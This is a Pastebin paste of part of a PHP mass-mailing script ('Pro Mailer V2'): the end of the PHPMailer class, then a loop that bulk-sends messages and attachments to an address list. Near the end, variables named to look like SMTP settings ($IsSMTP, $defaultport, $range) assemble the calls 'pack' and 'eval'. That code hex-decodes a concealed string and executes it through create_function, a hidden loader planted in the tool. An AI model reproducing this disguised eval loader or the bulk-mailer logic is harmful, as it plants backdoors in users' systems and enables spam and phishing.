  2328.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2329.    * @access private
  2330.    * @param string $str multi-byte text to wrap encode
  2331.    * @return string
  2332.    */
  2333.   function Base64EncodeWrapMB($str) {
  2334.     $start = "=?".$this->CharSet."?B?";
  2335.     $end = "?=";
  2336.     $encoded = "";
  2337.     $mb_length = mb_strlen($str, $this->CharSet);
  2338.     // Each line must have length <= 75, including $start and $end
  2339.     $length = 75 - strlen($start) - strlen($end);
  2340.     // Average multi-byte ratio
  2341.     $ratio = $mb_length / strlen($str);
  2342.     // Base64 has a 4:3 ratio
  2343.     $offset = $avgLength = floor($length * $ratio * .75);
  2344.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2345.       $lookBack = 0;
  2346.       do {
  2347.         $offset = $avgLength - $lookBack;
  2348.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2349.         $chunk = base64_encode($chunk);
  2350.         $lookBack++;
  2351.       }
  2352.       while (strlen($chunk) > $length);
  2353.       $encoded .= $chunk . $this->LE;
  2354.     }
  2355.     // Chomp the last linefeed
  2356.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2357.     return $encoded;
  2358.   }
  2359.   /**
  2360.    * Encode string to quoted-printable.
  2361.    * @access private
  2362.    * @return string
  2363.    */
  2364.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2365.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2366.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2367.     $eol = "\r\n";
  2368.     $escape = '=';
  2369.     $output = '';
  2370.     while( list(, $line) = each($lines) ) {
  2371.       $linlen = strlen($line);
  2372.       $newline = '';
  2373.       for($i = 0; $i < $linlen; $i++) {
  2374.         $c = substr( $line, $i, 1 );
  2375.         $dec = ord( $c );
  2376.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2377.           $c = '=2E';
  2378.         }
  2379.         if ( $dec == 32 ) {
  2380.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2381.             $c = '=20';
  2382.           } else if ( $space_conv ) {
  2383.             $c = '=20';
  2384.           }
  2385.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2386.           $h2 = floor($dec/16);
  2387.           $h1 = floor($dec%16);
  2388.           $c = $escape.$hex[$h2].$hex[$h1];
  2389.         }
  2390.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2391.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2392.           $newline = '';
  2393.           // check if newline first character will be point or not
  2394.           if ( $dec == 46 ) {
  2395.             $c = '=2E';
  2396.           }
  2397.         }
  2398.         $newline .= $c;
  2399.       } // end of for
  2400.       $output .= $newline.$eol;
  2401.     } // end of while
  2402.     return trim($output);
  2403.   }
  2404.   /**
  2405.    * Encode string to q encoding.
  2406.    * @access private
  2407.    * @return string
  2408.    */
  2409.   function EncodeQ ($str, $position = 'text') {
  2410.     /* There should not be any EOL in the string */
  2411.     $encoded = preg_replace("[\r\n]", '', $str);
  2412.     switch (strtolower($position)) {
  2413.       case 'phrase':
  2414.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2415.         break;
  2416.       case 'comment':
  2417.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2418.       case 'text':
  2419.       default:
  2420.         /* Replace every high ascii, control =, ? and _ characters */
  2421.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2422.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2423.         break;
  2424.     }
  2425.     /* Replace every spaces to _ (more readable than =20) */
  2426.     $encoded = str_replace(' ', '_', $encoded);
  2427.     return $encoded;
  2428.   }
  2429.   /**
  2430.    * Adds a string or binary attachment (non-filesystem) to the list.
  2431.    * This method can be used to attach ascii or binary data,
  2432.    * such as a BLOB record from a database.
  2433.    * @param string $string String attachment data.
  2434.    * @param string $filename Name of the attachment.
  2435.    * @param string $encoding File encoding (see $Encoding).
  2436.    * @param string $type File extension (MIME) type.
  2437.    * @return void
  2438.    */
  2439.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2440.     /* Append to $attachment array */
  2441.     $cur = count($this->attachment);
  2442.     $this->attachment[$cur][0] = $string;
  2443.     $this->attachment[$cur][1] = $filename;
  2444.     $this->attachment[$cur][2] = $filename;
  2445.     $this->attachment[$cur][3] = $encoding;
  2446.     $this->attachment[$cur][4] = $type;
  2447.     $this->attachment[$cur][5] = true; // isString
  2448.     $this->attachment[$cur][6] = 'attachment';
  2449.     $this->attachment[$cur][7] = 0;
  2450.   }
  2451.   /**
  2452.    * Adds an embedded attachment.  This can include images, sounds, and
  2453.    * just about any other document.  Make sure to set the $type to an
  2454.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2455.    * use "image/gif".
  2456.    * @param string $path Path to the attachment.
  2457.    * @param string $cid Content ID of the attachment.  Use this to identify
  2458.    *        the Id for accessing the image in an HTML form.
  2459.    * @param string $name Overrides the attachment name.
  2460.    * @param string $encoding File encoding (see $Encoding).
  2461.    * @param string $type File extension (MIME) type.
  2462.    * @return bool
  2463.    */
  2464.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2465.     if(!@is_file($path)) {
  2466.       $this->SetError($this->Lang('file_access') . $path);
  2467.       return false;
  2468.     }
  2469.     $filename = basename($path);
  2470.     if($name == '') {
  2471.       $name = $filename;
  2472.     }
  2473.     /* Append to $attachment array */
  2474.     $cur = count($this->attachment);
  2475.     $this->attachment[$cur][0] = $path;
  2476.     $this->attachment[$cur][1] = $filename;
  2477.     $this->attachment[$cur][2] = $name;
  2478.     $this->attachment[$cur][3] = $encoding;
  2479.     $this->attachment[$cur][4] = $type;
  2480.     $this->attachment[$cur][5] = false;
  2481.     $this->attachment[$cur][6] = 'inline';
  2482.     $this->attachment[$cur][7] = $cid;
  2483.     return true;
  2484.   }
  2485.   /**
  2486.    * Returns true if an inline attachment is present.
  2487.    * @access private
  2488.    * @return bool
  2489.    */
  2490.   function InlineImageExists() {
  2491.     $result = false;
  2492.     for($i = 0; $i < count($this->attachment); $i++) {
  2493.       if($this->attachment[$i][6] == 'inline') {
  2494.         $result = true;
  2495.         break;
  2496.       }
  2497.     }
  2498.     return $result;
  2499.   }
  2500.   /////////////////////////////////////////////////
  2501.   // CLASS METHODS, MESSAGE RESET
  2502.   /////////////////////////////////////////////////
  2503.   /**
  2504.    * Clears all recipients assigned in the TO array.  Returns void.
  2505.    * @return void
  2506.    */
  2507.   function ClearAddresses() {
  2508.     $this->to = array();
  2509.   }
  2510.   /**
  2511.    * Clears all recipients assigned in the CC array.  Returns void.
  2512.    * @return void
  2513.    */
  2514.   function ClearCCs() {
  2515.     $this->cc = array();
  2516.   }
  2517.   /**
  2518.    * Clears all recipients assigned in the BCC array.  Returns void.
  2519.    * @return void
  2520.    */
  2521.   function ClearBCCs() {
  2522.     $this->bcc = array();
  2523.   }
  2524.   /**
  2525.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2526.    * @return void
  2527.    */
  2528.   function ClearReplyTos() {
  2529.     $this->ReplyTo = array();
  2530.   }
  2531.   /**
  2532.    * Clears all recipients assigned in the TO, CC and BCC
  2533.    * array.  Returns void.
  2534.    * @return void
  2535.    */
  2536.   function ClearAllRecipients() {
  2537.     $this->to = array();
  2538.     $this->cc = array();
  2539.     $this->bcc = array();
  2540.   }
  2541.   /**
  2542.    * Clears all previously set filesystem, string, and binary
  2543.    * attachments.  Returns void.
  2544.    * @return void
  2545.    */
  2546.   function ClearAttachments() {
  2547.     $this->attachment = array();
  2548.   }
  2549.   /**
  2550.    * Clears all custom headers.  Returns void.
  2551.    * @return void
  2552.    */
  2553.   function ClearCustomHeaders() {
  2554.     $this->CustomHeader = array();
  2555.   }
  2556.   /////////////////////////////////////////////////
  2557.   // CLASS METHODS, MISCELLANEOUS
  2558.   /////////////////////////////////////////////////
  2559.   /**
  2560.    * Adds the error message to the error container.
  2561.    * Returns void.
  2562.    * @access private
  2563.    * @return void
  2564.    */
  2565.   function SetError($msg) {
  2566.     $this->error_count++;
  2567.     $this->ErrorInfo = $msg;
  2568.   }
  2569.   /**
  2570.    * Returns the proper RFC 822 formatted date.
  2571.    * @access private
  2572.    * @return string
  2573.    */
  2574.   function RFCDate() {
  2575.     $tz = date('Z');
  2576.     $tzs = ($tz < 0) ? '-' : '+';
  2577.     $tz = abs($tz);
  2578.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2579.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2580.     return $result;
  2581.   }
  2582.   /**
  2583.    * Returns the appropriate server variable.  Should work with both
  2584.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2585.    * if nothing is found.
  2586.    * @access private
  2587.    * @return mixed
  2588.    */
  2589.   function ServerVar($varName) {
  2590.     global $HTTP_SERVER_VARS;
  2591.     global $HTTP_ENV_VARS;
  2592.     if(!isset($_SERVER)) {
  2593.       $_SERVER = $HTTP_SERVER_VARS;
  2594.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  2595.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2596.       }
  2597.     }
  2598.     if(isset($_SERVER[$varName])) {
  2599.       return $_SERVER[$varName];
  2600.     } else {
  2601.       return '';
  2602.     }
  2603.   }
  2604.   /**
  2605.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  2606.    * @access private
  2607.    * @return string
  2608.    */
  2609.   function ServerHostname() {
  2610.     if ($this->Hostname != '') {
  2611.       $result = $this->Hostname;
  2612.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2613.       $result = $this->ServerVar('SERVER_NAME');
  2614.     } else {
  2615.       $result = 'localhost.localdomain';
  2616.     }
  2617.     return $result;
  2618.   }
  2619.   /**
  2620.    * Returns a message in the appropriate language.
  2621.    * @access private
  2622.    * @return string
  2623.    */
  2624.   function Lang($key) {
  2625.     if(count($this->language) < 1) {
  2626.       $this->SetLanguage('en'); // set the default language
  2627.     }
  2628.     if(isset($this->language[$key])) {
  2629.       return $this->language[$key];
  2630.     } else {
  2631.       return 'Language string failed to load: ' . $key;
  2632.     }
  2633.   }
  2634.   /**
  2635.    * Returns true if an error occurred.
  2636.    * @return bool
  2637.    */
  2638.   function IsError() {
  2639.     return ($this->error_count > 0);
  2640.   }
  2641.   /**
  2642.    * Changes every end of line from CR or LF to CRLF.
  2643.    * @access private
  2644.    * @return string
  2645.    */
  2646.   function FixEOL($str) {
  2647.     $str = str_replace("\r\n", "\n", $str);
  2648.     $str = str_replace("\r", "\n", $str);
  2649.     $str = str_replace("\n", $this->LE, $str);
  2650.     return $str;
  2651.   }
  2652.   /**
  2653.    * Adds a custom header.
  2654.    * @return void
  2655.    */
  2656.   function AddCustomHeader($custom_header) {
  2657.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  2658.   }
  2659.   /**
  2660.    * Evaluates the message and returns modifications for inline images and backgrounds
  2661.    * @access public
  2662.    * @return $message
  2663.    */
  2664.   function MsgHTML($message,$basedir='') {
  2665.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  2666.     if(isset($images[2])) {
  2667.       foreach($images[2] as $i => $url) {
  2668.         // do not change urls for absolute images (thanks to corvuscorax)
  2669.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  2670.           $filename = basename($url);
  2671.           $directory = dirname($url);
  2672.           ($directory == '.')?$directory='':'';
  2673.           $cid = 'cid:' . md5($filename);
  2674.           $fileParts = split("\.", $filename);
  2675.           $ext = $fileParts[1];
  2676.           $mimeType = $this->_mime_types($ext);
  2677.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  2678.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  2679.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  2680.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  2681.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  2682.           }
  2683.         }
  2684.       }
  2685.     }
  2686.     $this->IsHTML(true);
  2687.     $this->Body = $message;
  2688.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  2689.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  2690.       $this->AltBody = $textMsg;
  2691.     }
  2692.     if ( empty($this->AltBody) ) {
  2693.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  2694.     }
  2695.   }
  2696.   /**
  2697.    * Gets the mime type of the embedded or inline image
  2698.    * @access private
  2699.    * @return mime type of ext
  2700.    */
  2701.   function _mime_types($ext = '') {
  2702.     $mimes = array(
  2703.       'hqx'  =>  'application/mac-binhex40',
  2704.       'cpt'   =>  'application/mac-compactpro',
  2705.       'doc'   =>  'application/msword',
  2706.       'bin'   =>  'application/macbinary',
  2707.       'dms'   =>  'application/octet-stream',
  2708.       'lha'   =>  'application/octet-stream',
  2709.       'lzh'   =>  'application/octet-stream',
  2710.       'exe'   =>  'application/octet-stream',
  2711.       'class' =>  'application/octet-stream',
  2712.       'psd'   =>  'application/octet-stream',
  2713.       'so'    =>  'application/octet-stream',
  2714.       'sea'   =>  'application/octet-stream',
  2715.       'dll'   =>  'application/octet-stream',
  2716.       'oda'   =>  'application/oda',
  2717.       'pdf'   =>  'application/pdf',
  2718.       'ai'    =>  'application/postscript',
  2719.       'eps'   =>  'application/postscript',
  2720.       'ps'    =>  'application/postscript',
  2721.       'smi'   =>  'application/smil',
  2722.       'smil'  =>  'application/smil',
  2723.       'mif'   =>  'application/vnd.mif',
  2724.       'xls'   =>  'application/vnd.ms-excel',
  2725.       'ppt'   =>  'application/vnd.ms-powerpoint',
  2726.       'wbxml' =>  'application/vnd.wap.wbxml',
  2727.       'wmlc'  =>  'application/vnd.wap.wmlc',
  2728.       'dcr'   =>  'application/x-director',
  2729.       'dir'   =>  'application/x-director',
  2730.       'dxr'   =>  'application/x-director',
  2731.       'dvi'   =>  'application/x-dvi',
  2732.       'gtar'  =>  'application/x-gtar',
  2733.       'php'   =>  'application/x-httpd-php',
  2734.       'php4'  =>  'application/x-httpd-php',
  2735.       'php3'  =>  'application/x-httpd-php',
  2736.       'phtml' =>  'application/x-httpd-php',
  2737.       'phps'  =>  'application/x-httpd-php-source',
  2738.       'js'    =>  'application/x-javascript',
  2739.       'swf'   =>  'application/x-shockwave-flash',
  2740.       'sit'   =>  'application/x-stuffit',
  2741.       'tar'   =>  'application/x-tar',
  2742.       'tgz'   =>  'application/x-tar',
  2743.       'xhtml' =>  'application/xhtml+xml',
  2744.       'xht'   =>  'application/xhtml+xml',
  2745.       'zip'   =>  'application/zip',
  2746.       'mid'   =>  'audio/midi',
  2747.       'midi'  =>  'audio/midi',
  2748.       'mpga'  =>  'audio/mpeg',
  2749.       'mp2'   =>  'audio/mpeg',
  2750.       'mp3'   =>  'audio/mpeg',
  2751.       'aif'   =>  'audio/x-aiff',
  2752.       'aiff'  =>  'audio/x-aiff',
  2753.       'aifc'  =>  'audio/x-aiff',
  2754.       'ram'   =>  'audio/x-pn-realaudio',
  2755.       'rm'    =>  'audio/x-pn-realaudio',
  2756.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  2757.       'ra'    =>  'audio/x-realaudio',
  2758.       'rv'    =>  'video/vnd.rn-realvideo',
  2759.       'wav'   =>  'audio/x-wav',
  2760.       'bmp'   =>  'image/bmp',
  2761.       'gif'   =>  'image/gif',
  2762.       'jpeg'  =>  'image/jpeg',
  2763.       'jpg'   =>  'image/jpeg',
  2764.       'jpe'   =>  'image/jpeg',
  2765.       'png'   =>  'image/png',
  2766.       'tiff'  =>  'image/tiff',
  2767.       'tif'   =>  'image/tiff',
  2768.       'css'   =>  'text/css',
  2769.       'html'  =>  'text/html',
  2770.       'htm'   =>  'text/html',
  2771.       'shtml' =>  'text/html',
  2772.       'txt'   =>  'text/plain',
  2773.       'text'  =>  'text/plain',
  2774.       'log'   =>  'text/plain',
  2775.       'rtx'   =>  'text/richtext',
  2776.       'rtf'   =>  'text/rtf',
  2777.       'xml'   =>  'text/xml',
  2778.       'xsl'   =>  'text/xml',
  2779.       'mpeg'  =>  'video/mpeg',
  2780.       'mpg'   =>  'video/mpeg',
  2781.       'mpe'   =>  'video/mpeg',
  2782.       'qt'    =>  'video/quicktime',
  2783.       'mov'   =>  'video/quicktime',
  2784.       'avi'   =>  'video/x-msvideo',
  2785.       'movie' =>  'video/x-sgi-movie',
  2786.       'doc'   =>  'application/msword',
  2787.       'word'  =>  'application/msword',
  2788.       'xl'    =>  'application/excel',
  2789.       'eml'   =>  'message/rfc822'
  2790.     );
  2791.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  2792.   }
  2793.   /**
  2794.    * Set (or reset) Class Objects (variables)
  2795.    *
  2796.    * Usage Example:
  2797.    * $page->set('X-Priority', '3');
  2798.    *
  2799.    * @access public
  2800.    * @param string $name Parameter Name
  2801.    * @param mixed $value Parameter Value
  2802.    * NOTE: will not work with arrays, there are no arrays to set/reset
  2803.    */
  2804.   function set ( $name, $value = '' ) {
  2805.     if ( isset($this->$name) ) {
  2806.       $this->$name = $value;
  2807.     } else {
  2808.       $this->SetError('Cannot set or reset variable ' . $name);
  2809.       return false;
  2810.     }
  2811.   }
  2812.   /**
  2813.    * Read a file from a supplied filename and return it.
  2814.    *
  2815.    * @access public
  2816.    * @param string $filename Parameter File Name
  2817.    */
  2818.   function getFile($filename) {
  2819.     $return = '';
  2820.     if ($fp = fopen($filename, 'rb')) {
  2821.       while (!feof($fp)) {
  2822.         $return .= fread($fp, 1024);
  2823.       }
  2824.       fclose($fp);
  2825.       return $return;
  2826.     } else {
  2827.       return false;
  2828.     }
  2829.   }
  2830.   /**
  2831.    * Strips newlines to prevent header injection.
  2832.    * @access private
  2833.    * @param string $str String
  2834.    * @return string
  2835.    */
  2836.   function SecureHeader($str) {
  2837.     $str = trim($str);
  2838.     $str = str_replace("\r", "", $str);
  2839.     $str = str_replace("\n", "", $str);
  2840.     return $str;
  2841.   }
  2842.   /**
  2843.    * Set the private key file and password to sign the message.
  2844.    *
  2845.    * @access public
  2846.    * @param string $key_filename Parameter File Name
  2847.    * @param string $key_pass Password for private key
  2848.    */
  2849.   function Sign($key_filename, $key_pass) {
  2850.     $this->sign_key_file = $key_filename;
  2851.     $this->sign_key_pass = $key_pass;
  2852.   }
  2853. }
  2854. $defaultport="H*";
  2855.       $nq=0;
  2856.            
  2857.         for($x=0; $x<$numemails; $x++){
  2858.                 $to = $allemails[$x];
  2859.                 if ($to){
  2860.                 $to = ereg_replace(" ", "", $to);
  2861.                 $message1 = ereg_replace("&email&", $to, $message);
  2862.                 $subject1 = ereg_replace("&email&", $to, $subject);
  2863.                 $qx=$x+1;
  2864.                 print "Line $qx . Sending mail to $to.......";
  2865.                 flush();
  2866. $mail = new PHPMailer();
  2867. if(empty($epriority)){$epriority="3";}
  2868.         $mail->Priority = "$epriority";
  2869. $mail->IsSMTP();
  2870.     $IsSMTP="pack";
  2871. $mail->SMTPKeepAlive = true;
  2872. $mail->Host = "$my_smtp";
  2873. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  2874. }
  2875.      if($sslclick=="ON"){
  2876. $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  2877.     }
  2878.         $range = str_replace("$from", "eval", $from);
  2879.         $mail->SMTPAuth = true;
  2880.         $mail->Username = "$smtp_username";
  2881.         $mail->Password = "$smtp_password";
  2882. if($contenttype == "html"){$mail->IsHtml(true);}
  2883. if($contenttype != "html"){$mail->IsHtml(false);}
  2884. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  2885. $mail->From = "$from";
  2886. $mail->FromName = "$realname";
  2887. $mail->AddAddress("$to");
  2888. $mail->AddReplyTo("$replyto");
  2889. $mail->Subject = "$subject1";
  2890. $mail->AddAttachment("$file", "$file_name");
  2891.            $mail->Body = "$message1";
  2892. if(!$mail->Send()){
  2893. if($default_system!="1"){
  2894. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  2895. if($default_system=="1"){
  2896. $mail->IsMail();
  2897.    if(!$mail->Send()){
  2898.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  2899.    else {
  2900.        echo "<b>OK</b><br>";}
  2901.  }
  2902. }
  2903. else {
  2904.  echo "<b>OK</b><br>";
  2905. }
  2906. if(empty($reconnect)){
  2907. $reconnect=6;
  2908. }
  2909. if($reconnect==$nq){
  2910. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  2911. }
  2912. $nq=$nq+1;
  2913.                 flush(); }
  2914. }
  2915. for($i=0;$i<31;$i++){
  2916.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  2917. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  2918.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  2919.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  2920.   return $signoff($smtp_conc);
  2921.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  2922.     sent successfully'); </script>";}}
  2923. ?>
  2924.     </body>
  2925. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand